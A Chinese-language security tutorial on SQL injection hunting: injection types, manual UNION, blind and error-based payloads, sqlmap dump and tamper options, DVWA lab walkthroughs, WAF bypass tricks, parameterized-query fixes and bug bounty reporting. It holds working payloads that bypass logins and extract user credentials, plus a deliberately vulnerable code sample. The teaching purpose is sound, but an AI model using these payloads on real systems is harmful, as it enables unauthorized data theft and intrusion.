1. 项目概述:从“拼接字符串”到“掌控数据库”
如果你在开发一个网站,用户登录时,你可能会写一段类似SELECT * FROM users WHERE username = ‘$username’ AND password = ‘$password’的SQL语句。如果直接把用户输入的用户名和密码拼接到这个语句里,一个心怀不轨的用户在用户名框输入admin’ --会发生什么?SQL语句会变成SELECT * FROM users WHERE username = ‘admin’ --’ AND password = ‘xxx’。--在SQL中是注释符,这意味着后面的密码校验完全被忽略了,攻击者可以直接以管理员身份登录。这就是SQL注入最直观、最经典的例子。它不是什么高深莫测的黑科技,而是由于开发者在编写代码时,将用户输入的数据与SQL命令语句“无脑”拼接在一起,导致攻击者可以“注入”并执行恶意SQL代码,从而窃取、篡改、删除数据库中的敏感数据,甚至获取服务器控制权。
我见过太多因为一个简单的WHERE 1=1拼接而导致整个用户表泄露的案例。在漏洞挖掘领域,SQL注入始终是Web安全测试的“必修课”和“突破口”。无论是DVWA、Pikachu这类入门靶场,还是PortSwigger、CTFHub这类技能提升平台,亦或是真实的SRC(安全应急响应中心)漏洞挖掘实战,SQL注入都是高频出现的漏洞类型。它原理清晰,危害巨大,检测手段相对成熟,是安全研究员、渗透测试工程师乃至开发者都必须深刻理解的核心漏洞。本文将从一名一线安全从业者的视角,为你拆解SQL注入漏洞挖掘的完整知识体系,从原理到手工探测,从工具利用到绕过技巧,并结合靶场实战,让你不仅能看懂,更能亲手挖到这类漏洞。
2. SQL注入漏洞的核心原理与分类解析
要挖掘漏洞,必须先理解漏洞是如何产生的。SQL注入的本质是“数据与代码的混淆”。在理想的编程模型中,用户输入应始终被视为“数据”来处理。但在存在SQL注入漏洞的程序中,用户输入被错误地当作了“代码”(即SQL语句的一部分)来执行。
2.1 漏洞产生的根本原因
其根源在于应用程序对用户输入的处理不当,主要体现在以下两个环节:
- 未对用户输入进行充分的过滤和转义:例如,没有过滤单引号
‘、分号;、注释符--、/**/等SQL元字符。当这些字符被拼接到SQL语句中时,就改变了原语句的语法结构。 - 直接使用字符串拼接方式构造SQL语句:这是最致命的做法。尤其是在前端或后端代码中,直接使用
+或字符串格式化函数(如PHP的.,Python的%或f-string,Java的+等)将变量嵌入SQL字符串。
一个危险的代码示例(以Python为例):
# 错误示范:直接拼接 username = request.form[‘username’] password = request.form[‘password’] sql = “SELECT * FROM users WHERE username = ‘“ + username + “‘ AND password = ‘“ + password + “‘“ cursor.execute(sql)如果攻击者输入admin’ OR ‘1’=‘1作为用户名,密码任意,最终SQL变为:
SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=‘1’ AND password = ‘xxx’由于‘1’=‘1‘恒为真,这条语句很可能返回users表中的第一条记录(通常是管理员),导致认证绕过。
注意:即使前端对输入做了限制(如长度、格式),或者对密码进行了加密,只要后端拼接SQL的方式不变,漏洞依然存在。因为攻击者完全可以通过Burp Suite等工具拦截并修改HTTP请求,直接向后端发送恶意载荷。
2.2 主要注入类型与判断方法
根据注入点参数的处理方式,SQL注入主要分为以下几类,判断类型是手工探测的第一步:
1. 数字型注入注入点的参数原本就是数字,例如/user.php?id=1。SQL语句可能为SELECT * FROM users WHERE id = 1。
- 判断方法:将参数改为
id=1 and 1=1和id=1 and 1=2。- 若
and 1=1页面正常,and 1=2页面异常(报错、无数据),则很可能存在数字型注入。因为1=2为假,导致整个WHERE条件为假,查询不到数据。
- 若
2. 字符型注入注入点的参数是字符串,通常被单引号、双引号等包裹,如/login.php?user=admin,对应SQL为SELECT * FROM users WHERE user = ‘admin’。
- 判断方法:尝试闭合引号并添加逻辑测试。
- 输入
user=admin’ and ‘1’=‘1,SQL变为...WHERE user = ‘admin’ and ‘1’=‘1‘,恒真。 - 输入
user=admin’ and ‘1’=‘2,SQL变为...WHERE user = ‘admin’ and ‘1’=‘2‘,恒假。 - 观察两次请求的页面差异。此外,也可以尝试
admin’ --来注释掉后续语句,看是否能够绕过。
- 输入
3. 搜索型注入常见于搜索功能,参数可能被用于LIKE语句,如SELECT * FROM news WHERE title LIKE ‘%关键词%’。
- 判断方法:尝试注入
关键词%’ and ‘1’=‘1’ and ‘%’=‘。目的是闭合前后的百分号%和引号。
4. 其他特殊类型
- 报错注入:页面会直接返回数据库的报错信息,这为攻击者提供了极有价值的信息。通过故意构造引发数据库报错的语句(如
extractvalue(),updatexml()在MySQL中),可以将查询结果通过报错信息带出。 - 盲注:页面不会返回具体数据或报错信息,只能通过页面返回的“真”、“假”两种状态(布尔盲注),或响应时间差异(时间盲注)来推断数据。这是更隐蔽、也更考验耐心的注入方式。
- 堆叠查询注入:在某些数据库和连接配置下,可以一次性执行多条SQL语句,使用分号
;分隔。这极大地提升了攻击威力,可以执行任意增删改查操作。 - 二次注入:恶意数据第一次被存入数据库时被正确转义,但当这些数据被从库中取出并再次用于拼接SQL查询时,转义符被去除,导致注入发生。这种注入更难发现,往往在审计代码时才能察觉。
3. 手工挖掘SQL注入漏洞的完整流程
自动化工具虽快,但手工探测更能体现功底,也能发现工具无法识别的复杂注入点。以下是我在实际渗透测试中常用的一套手工探测流程。
3.1 信息收集与注入点探测
挖掘的第一步是找到所有可能的输入点,这远比盲目测试重要。
枚举输入点:
- GET参数:URL中的
?id=1&name=test部分。 - POST参数:登录框、搜索框、表单提交等。
- HTTP头部:
Cookie、User-Agent、X-Forwarded-For等字段有时也会被后端用于数据库查询(如记录日志)。 - 文件上传点:文件名可能被存入数据库。
- API接口:现代Web应用的大量JSON/XML格式的API请求。
- GET参数:URL中的
初步试探:
- 在每个参数后尝试添加一个单引号
‘或双引号“,观察页面是否出现数据库错误(如MySQL、PostgreSQL、SQL Server的特定错误信息)、页面布局错乱、或返回状态码500(服务器内部错误)。 - 尝试提交
and 1=1和and 1=2,观察页面内容差异(布尔盲注的雏形)。 - 尝试提交
sleep(5)(MySQL)或pg_sleep(5)(PostgreSQL),观察页面响应是否明显延迟(时间盲注的雏形)。
- 在每个参数后尝试添加一个单引号
3.2 注入类型确认与数据库指纹识别
一旦发现异常,就需要精确判断类型和数据库种类。
确认注入类型:使用上一节提到的
and 1=1/and 1=2或‘ and ‘1’=‘1/‘ and ‘1’=‘2方法。识别数据库:不同数据库的函数和语法有差异。
- 版本查询:
- MySQL:
id=1 and @@version>0或union select 1,version(),3 - PostgreSQL:
id=1 and version()>0 - Microsoft SQL Server:
id=1 and @@version>0
- MySQL:
- 字符串连接符:
- MySQL:
concat(‘a‘,‘b‘),‘a‘ ‘b‘ - PostgreSQL:
‘a‘||‘b‘ - SQL Server:
‘a‘+‘b‘
- MySQL:
- 注释符:
- 通用:
--(注意后面有空格),#(MySQL),/* */
- 通用:
- 版本查询:
实操心得:在测试时,我习惯先用
#或--注释掉原查询的剩余部分,这能避免因引号未闭合导致的语法错误,让测试payload更干净。例如,对于id=‘1‘,可以测试id=1‘ and 1=1#。
3.3 利用Union查询获取数据
这是信息泄露最直接的方式,前提是页面会回显查询结果(例如新闻详情页、用户信息展示页)。
确定字段数:使用
ORDER BY子句。ORDER BY 1表示按第一列排序,如果该列存在,页面正常。不断递增数字,直到页面报错,报错前的数字就是字段数。?id=1‘ order by 5--正常?id=1‘ order by 6--错误 => 字段数为5。
寻找可回显的列:使用
UNION SELECT语句,将我们自定义的查询结果与原查询结果合并显示。需要确保前后查询的列数一致。?id=-1‘ union select 1,2,3,4,5--- 将id设为负值或不存在的值,目的是让原查询结果为空,从而页面只显示我们union查询的结果。观察页面上哪个数字(如2,3)被显示出来,这些位置就是我们可以用来输出数据的位置。
获取数据库信息:利用可回显位,替换为数据库函数。
?id=-1‘ union select 1,database(),user(),version(),5--- 这样可以一次性获取当前数据库名、数据库用户、数据库版本。
枚举表名和列名:这需要查询数据库的信息模式(information_schema),它是标准SQL元数据集合。
- 查询所有表名:
?id=-1‘ union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--group_concat()函数将多行结果合并成一个字符串,便于查看。
- 查询特定表(如‘users‘)的列名:
?id=-1‘ union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=‘users‘--
- 查询所有表名:
拖取数据:知道了表名和列名,就可以直接查询数据了。
?id=-1‘ union select 1,group_concat(username, ‘:‘, password),3,4,5 from users--
3.4 盲注技术的深入利用
当页面没有明确回显时,盲注是唯一选择。它像一场与服务器的“是/否”问答游戏。
1. 布尔盲注通过页面内容是否存在特定关键词(如“成功”、“失败”、“存在”、“404”)来判断SQL语句执行的真假。
- 猜解数据库名长度:
?id=1‘ and length(database())=8--。如果页面正常显示,说明数据库名长度为8,否则尝试其他数字。 - 逐字符猜解数据库名:使用
substr()或mid()函数。?id=1‘ and substr(database(),1,1)=‘a‘--猜第一个字符。?id=1‘ and ascii(substr(database(),1,1))>100--利用ASCII码进行二分法加速猜解。这是一个繁琐但有效的过程,通常借助脚本自动化。
2. 时间盲注通过判断页面响应时间是否延迟来推断。
- MySQL:
?id=1‘ and if(ascii(substr(database(),1,1))>100,sleep(5),0)--。如果第一个字符的ASCII码大于100,则页面延迟5秒返回。 - PostgreSQL:
?id=1‘ and case when (ascii(substr(version(),1,1))>100) then pg_sleep(5) else pg_sleep(0) end--
避坑技巧:时间盲注受网络波动影响大,需要设置一个合理的延迟阈值(如3秒)。在测试前,最好先测一下正常页面的响应时间作为基准。另外,
sleep函数可能在数据库配置中被禁用,需要准备备用方案,如使用复杂的计算函数制造延迟(benchmark()在MySQL中)。
3.5 报错注入的巧妙运用
报错注入能直接将数据通过错误信息带出,效率很高,但需要数据库开启错误回显。
- MySQL经典Payload:
updatexml():?id=1‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1)--concat(0x7e, ..., 0x7e)中的0x7e是波浪号~的十六进制,用于在报错信息中更清晰地分隔出我们想要的数据。
extractvalue():?id=1‘ and extractvalue(1,concat(0x7e,(select database())))--
- 原理:这些函数本意是处理XML数据,我们通过传入非法格式的XML路径参数(如将查询结果拼接进去),触发数据库报错,并在报错信息中输出我们构造的SQL查询结果。
4. 自动化工具在SQL注入挖掘中的实战应用
手工探测是基础,但面对大量目标或需要深度测试时,自动化工具不可或缺。它们能快速完成模糊测试、漏洞验证和数据提取。
4.1 SQLmap:神器详解与高阶参数
SQLmap是渗透测试师的标配,但很多人只用了它10%的功能。
基础扫描命令:
sqlmap -u “http://target.com/page.php?id=1“ --batch-u: 指定目标URL。--batch: 以非交互模式运行,所有默认选择都选Yes,适合自动化。
核心进阶参数:
- 指定参数与注入点:
-p “id,user-agent“指定测试的参数。--cookie=“...”用于需要登录的页面。 - 指定数据库类型:
--dbms=mysql可以大幅提高检测效率。 - 提高检测等级和风险等级:
--level=3 --risk=3。Level越高,测试的Payload越多(包括HTTP头注入)。Risk越高,测试的语句风险越大(如INSERT/UPDATE)。慎用高风险,可能破坏数据! - 获取数据:
--dbs: 枚举所有数据库。-D database_name --tables: 枚举指定数据库的所有表。-D database_name -T table_name --columns: 枚举指定表的所有列。-D database_name -T table_name -C “username,password“ --dump: 导出指定列的数据。
- 执行任意SQL语句:
--sql-shell获取一个交互式的SQL shell,可以执行自定义查询。 - 绕过WAF/IPS:SQLmap内置了tamper脚本,用于混淆Payload。
--tamper=space2comment将空格替换为注释。--tamper=between,charencode可以组合使用多个tamper脚本。- 常用组合:
--tamper=space2comment,randomcase用于绕过一些简单的过滤规则。
注意事项:永远不要在未经授权的真实目标上使用SQLmap!它的攻击性极强,默认的
--dump操作会尝试读取大量数据,可能对目标系统造成性能影响甚至法律风险。仅在授权的渗透测试或自己搭建的靶场(如DVWA、Pikachu)中使用。
4.2 Burp Suite与自定义插件的协同
Burp Suite不仅是代理工具,更是漏洞挖掘的中央调度器。
- 被动扫描:配置好代理后,所有经过Burp的流量都会被自动分析,Burp会标记出潜在的SQL注入点(如参数中包含单引号等)。
- 主动扫描:对选定的请求右键,选择“Active Scan”,Burp会发送大量测试Payload,并分析响应,以确认漏洞。
- Intruder模块用于盲注爆破:这是手工盲注的自动化利器。
- 将需要猜解的位置(如
substr(database(),1,1)的值)设为Payload位置。 - Payload Sets选择“Brute forcer”或“Numbers”(用于ASCII码),或者自定义字符列表。
- 根据响应长度(Length)或响应时间(Response received)的差异,来判断猜解是否正确。时间盲注需要勾选“Grep - Match”并设置一个标识字符串,然后观察响应时间。
- 将需要猜解的位置(如
- 配合SQLmap:在Burp中右键请求,选择“Save item”,将请求保存为
.req文件。然后使用SQLmap的-r参数直接加载文件进行测试:sqlmap -r request.req。这完美解决了需要处理Cookie、Session、复杂POST数据的问题。
4.3 其他辅助工具与资源
- NoSQL注入工具:如
NoSQLMap,针对MongoDB、CouchDB等NoSQL数据库。 - CheatSheet:随身携带一份SQL注入Payload备忘单非常有用,例如来自PortSwigger的SQL注入备忘单,涵盖了各种数据库、各种场景的测试Payload。
- 靶场平台:
- DVWA (Damn Vulnerable Web Application):难度可调,适合初学者理解原理。
- Pikachu:覆盖了各种类型的SQL注入(数字、字符、搜索、xx型、盲注等),中文友好。
- PortSwigger Web Security Academy (原Burp Suite Academy):免费、高质量、有详细讲解的互动式实验室,其SQL注入模块非常系统。
- CTFHub技能树:以CTF挑战的形式,分门别类地训练各种SQL注入技巧。
5. 靶场实战:从DVWA到真实场景思维迁移
理论结合实践才能巩固。我们以DVWA靶场为例,模拟一次完整的渗透测试流程。
5.1 DVWA Low级别注入 - 理解最原始的风险
将DVWA安全级别设为“Low”。查看“SQL Injection”源码,发现它毫无过滤,直接拼接$id。
- 探测与确认:输入
1‘ and ‘1‘=‘1和1‘ and ‘1‘=‘2,观察页面差异。输入1‘看是否报错。确认是字符型注入。 - 查字段数:输入
1‘ order by 2#正常,1‘ order by 3#报错,说明有2个字段。 - Union查询获取信息:
- 输入
-1‘ union select database(),user()#,获取当前数据库名和用户。 - 输入
-1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,得到所有表名(如guestbook, users)。 - 输入
-1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#,得到users表的列名(如user_id, first_name, last_name, user, password, avatar等)。 - 输入
-1‘ union select group_concat(user, ‘:‘, password),1 from users#,成功拖取所有用户的用户名和MD5哈希密码。
- 输入
思考:Low级别展示了漏洞最原始的样子。在实际老旧系统或开发人员安全意识极度匮乏的代码中,仍可能遇到这种情况。
5.2 DVWA Medium/High级别 - 应对初步防御
- Medium级别:代码使用了
mysql_real_escape_string()对输入进行转义,并使用了intval()将ID转为整数,但SQL语句本身仍是拼接的。然而,它错误地先转义再转为整数,对于数字型注入,转义是无效的。这里的关键是发现注入点从GET变成了POST(表单),并且参数是数字型。你需要用Burp拦截修改POST数据,测试id=1 and 1=1。 - High级别:注入点被限制在了一个单独的弹出窗口,并且使用了
LIMIT 1。这增加了利用难度。但Union注入依然有效。关键在于构造的Payload要确保原查询返回空,例如1‘ union select database(),user()#。这里的‘用于闭合,#用于注释掉后面的‘ LIMIT 1。
经验迁移:这模拟了真实环境中开发者可能添加的一些不完全的防护(如只防字符串不防数字、只防GET不防POST、增加查询限制)。你需要灵活调整测试方法和工具的使用位置(前端表单 or 代理拦截)。
5.3 挖掘中的常见WAF/过滤绕过技巧
真实环境往往部署了Web应用防火墙(WAF)或简单的输入过滤。
- 大小写绕过:
UnIoN SeLeCt代替union select。有些简单的正则匹配/union select/i可能不区分大小写,但更蠢的WAF可能只匹配全小写。 - 双写关键字绕过:如果过滤方式是删除关键字,可以尝试
ununionion seselectlect,删除中间的union和select后,剩下的字符又组成了union select。 - 编码绕过:
- URL编码:
union->%75%6e%69%6f%6e。 - 十六进制编码:
select->0x73656c656374,在SQL中可以直接使用SELECT 0x73656c656374。 - Unicode编码:在某些场景下有效。
- URL编码:
- 注释符和内联注释绕过:
- 使用
/**/分割关键字:un/**/ion sel/**/ect。 - MySQL特有的
/*! ... */内联注释,里面的代码在MySQL中会被执行:/*!union*/ /*!select*/ 1,2,3。
- 使用
- 等价函数/语句替换:
substring()可以用mid(),substr()代替。sleep(5)可以用benchmark(10000000,md5(‘test‘))制造延迟。and可以用&&,or可以用||(在某些数据库和上下文下)。
- 参数污染:提交多个同名参数,如
?id=1&id=2‘ and 1=1--。不同的Web服务器和应用程序框架处理方式不同,可能导致最后一个参数生效,从而绕过对第一个参数的过滤。
实操心得:绕过没有定式。最好的方法是收集目标系统使用的技术栈(如Apache/nginx, PHP/Java, MySQL/PostgreSQL),然后有针对性地尝试Payload。使用SQLmap时,
--tamper参数可以自动尝试多种绕过脚本,但手工测试和理解原理永远是根本。
6. 漏洞挖掘的防御视角与修复建议
只知道攻击,不知道防御,是不完整的。从防御角度看SQL注入,思路会完全不同。
6.1 根本解决方案:使用参数化查询(预编译语句)
这是唯一被广泛认可能从根本上防止SQL注入的方法。其原理是将SQL语句的结构(代码)与数据提前分离。
- 传统拼接方式:
“SELECT * FROM users WHERE id = “ + userInput。数据库需要解析并编译这个完整的字符串。 - 参数化查询方式:
“SELECT * FROM users WHERE id = ?“。数据库先编译这个带占位符的SQL模板。然后,应用程序将用户输入userInput作为一个纯粹的参数值传递给这个已编译的模板。
关键区别:即使用户输入是1; DROP TABLE users; --,在参数化查询中,它只会被当作一个完整的字符串值传递给id字段,而不会被当作SQL命令解析。数据库会去查找id字段值等于字符串“1; DROP TABLE users; --“的记录,显然找不到,但绝不会执行DROP命令。
各语言示例:
- Python (sqlite3):
cursor.execute(“SELECT * FROM users WHERE id = ?“, (user_id,)) - PHP (PDO):
$stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id“); $stmt->execute([‘:id‘ => $id]); - Java (JDBC):
PreparedStatement ps = conn.prepareStatement(“SELECT * FROM users WHERE id = ?“); ps.setInt(1, id);
6.2 辅助方案与不推荐的方法
输入验证与过滤:
- 白名单:对于已知固定范围的值(如状态码:0,1,2),只允许列表内的值通过。这是最佳实践。
- 黑名单:转义或过滤已知的危险字符(如单引号、分号、注释符)。不推荐作为主要防御手段,因为很容易被绕过(如编码、等价替换)。如果必须使用,应使用数据库驱动提供的专用转义函数(如
mysqli_real_escape_string()),而不是自己写正则。
最小权限原则:为Web应用程序连接数据库的账户分配最小必要权限。例如,只授予
SELECT权限在只需要查询的页面上,绝不使用root或sa等超级管理员账户。这样即使发生注入,攻击者也无法执行DROP TABLE、UPDATE等破坏性操作。错误信息处理:在生产环境中,禁止向用户显示详细的数据库错误信息。应使用自定义的通用错误页面,并将详细错误记录到只有管理员可访问的日志中。这可以防止攻击者通过报错信息获取数据库结构等敏感信息。
Web应用防火墙:WAF可以作为一道额外的防线,基于规则库拦截常见的攻击Payload。但它是一种缓解措施,而非修复措施。攻击者可能发现0day攻击方式或利用规则库的遗漏进行绕过。安全的核心应在应用代码本身。
6.3 安全开发流程集成
对于开发团队,应将安全左移,集成到开发流程中:
- 安全编码规范:明确要求所有数据库操作必须使用参数化查询或ORM框架提供的安全方法。
- 代码审计:在代码提交前或定期进行安全审计,使用自动化工具(如SonarQube, Fortify SCA)结合人工审查,查找SQL拼接点。
- 依赖项检查:使用工具检查项目依赖的第三方库是否存在已知的SQL注入漏洞(CVE)。
- 渗透测试与漏洞扫描:在应用上线前,进行专业的渗透测试或使用自动化漏洞扫描器进行排查。
7. 从靶场到SRC:实战思维与报告撰写
在真实世界的漏洞挖掘(如参与企业SRC)中,思维方式和流程与打靶场有显著不同。
7.1 目标选取与信息收集
- 资产发现:不仅仅是主域名。要关注子域名(
*.target.com)、相关联的移动应用(可能调用同一API)、甚至微信公众号/小程序。工具如Amass,Subfinder,OneForAll可以帮助你。 - 技术栈识别:使用
Wappalyzer浏览器插件或WhatWeb、Nmap脚本,识别目标使用的Web服务器、编程语言、框架、数据库、前端库等。这能帮你推测可能的漏洞点和设计Payload。 - 敏感入口点寻找:
- 登录/注册/找回密码:这些是核心功能,代码可能复杂,容易出问题。
- 搜索框/筛选器:参数多,常与数据库交互。
- 个人中心/订单查询:涉及大量用户数据查询。
- API接口:现代应用的重点,特别是返回JSON数据的接口,参数可能直接映射到SQL查询。
- 文件上传处:文件名、文件元信息可能被存入数据库。
7.2 漏洞验证与危害证明
在SRC中,仅仅“疑似”注入是不够的,你需要提供无可辩驳的证明。
明确证明漏洞存在:
- 对于回显注入,截图显示通过Union查询获取了
database(),version()等信息。 - 对于盲注,提供两组请求/响应的对比截图:一组是
and 1=1的正常响应,另一组是and 1=2的错误或空响应。最好能附上Burp Suite的Intruder攻击结果,展示通过盲注逐步猜解出数据的过程。 - 对于时间盲注,提供带有时间戳的请求响应记录,证明
sleep()函数生效。
- 对于回显注入,截图显示通过Union查询获取了
证明漏洞的危害性:
- 最低证明:获取数据库版本、当前用户等非核心信息,证明可以执行任意SQL语句。
- 中等证明:枚举出数据库名、表名,证明可以窥探数据结构。
- 高危害证明:在获得授权的前提下,提取出非敏感示例数据(如自己测试账号的信息,或少量脱敏的公开信息),证明数据泄露风险。绝对禁止拖取大量真实用户数据!
- 最高危害证明:证明可以通过注入点进行权限提升(如修改管理员密码)、写入文件(
into outfile)获取Webshell,甚至结合其他漏洞实现远程代码执行。这需要极高的谨慎和明确的授权。
7.3 编写高质量的漏洞报告
一份清晰的报告能帮助厂商快速定位和修复问题,也体现了你的专业度。
报告核心要素:
- 标题:简明扼要,如
[目标域名] SQL注入漏洞([具体功能点])。 - 漏洞等级:根据危害程度自行评估(高危/中危/低危),供厂商参考。
- 漏洞详情:
- 漏洞URL:完整的请求地址。
- 请求方法:GET/POST。
- 漏洞参数:指出哪个参数存在注入。
- 漏洞类型:字符型/数字型/布尔盲注/时间盲注等。
- 复现步骤:像教程一样,一步步描述如何复现漏洞。从打开哪个页面开始,输入什么,看到什么结果。这是报告的核心。
- 漏洞证明:粘贴关键的请求和响应数据(可脱敏),并附上截图。截图应包括Burp Repeater界面,清晰显示Payload和返回结果。
- 修复建议:提供专业的修复方案。首选“使用参数化查询(预编译语句)”,并给出对应编程语言的代码示例。其次可以建议输入验证、最小权限等。
- 其他信息:测试使用的工具、浏览器版本、测试账号(如有)等。
个人体会:在SRC挖洞,耐心和细心比炫技更重要。一个不起眼的搜索框,可能因为一个冷门参数没过滤而存在注入。提交报告时,确保你的复现步骤在对方的环境里100%能成功。对于盲注这类需要大量交互的漏洞,提供一个简短的验证Payload(如and sleep(5))能让厂商工程师最快地确认问题。最后,保持沟通的礼貌和专业,安全研究的目的是共同提升网络安全,而非炫耀或攻击。